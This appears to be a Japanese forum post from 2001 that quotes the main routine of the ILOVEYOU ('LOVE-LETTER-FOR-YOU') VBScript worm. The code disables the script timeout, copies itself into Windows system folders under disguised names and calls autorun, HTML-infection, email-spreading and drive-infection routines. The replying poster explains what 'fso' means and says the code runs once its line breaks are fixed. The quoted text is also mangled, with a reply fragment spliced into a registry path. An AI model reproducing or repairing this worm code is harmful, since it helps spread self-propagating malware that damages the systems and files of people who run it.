> >   sub main()
> >   On Error Resume Next
> >   dim wscr,rr
> >   set wscr=CreateObject("WScript.Shell")
> >   rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Wind
> >   ows Scripting Host\Settings\Timeout")
> >   if (rr>=1) then
> >   wscr.RegWrite
> >   "HKEY

fso => _CURRENT_USER\Software\Microsoft\Windows Scripting
> >   Host\Settings\Timeout",0,"REG_DWORD"
> >   end if
> >   Set dirwin = fso.GetSpecialFolder(0)
> >   Set dirsystem = fso.GetSpecialFolder(1)
> >   Set dirtemp = fso.GetSpecialFolder(2)
> >   Set c = fso.GetFile(WScript.ScriptFullName)
> >   c.Copy(dirsystem&"\MSKernel32.vbs")
> >   c.Copy(dirwin&"\Win32DLL.vbs")
> >   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> >   regruns()
> >   html()
> >   spreadtoemail()
> >   listadriv()
> >   end sub
> 動くか？
> あとさfso.って何よ？

fso => FileSystemObjectヽ(´ー｀)ノ
objFsoとやると吉
改行直せば動くよヽ(´ー｀)ノ

参考：2001/01/24(水)20時15分17秒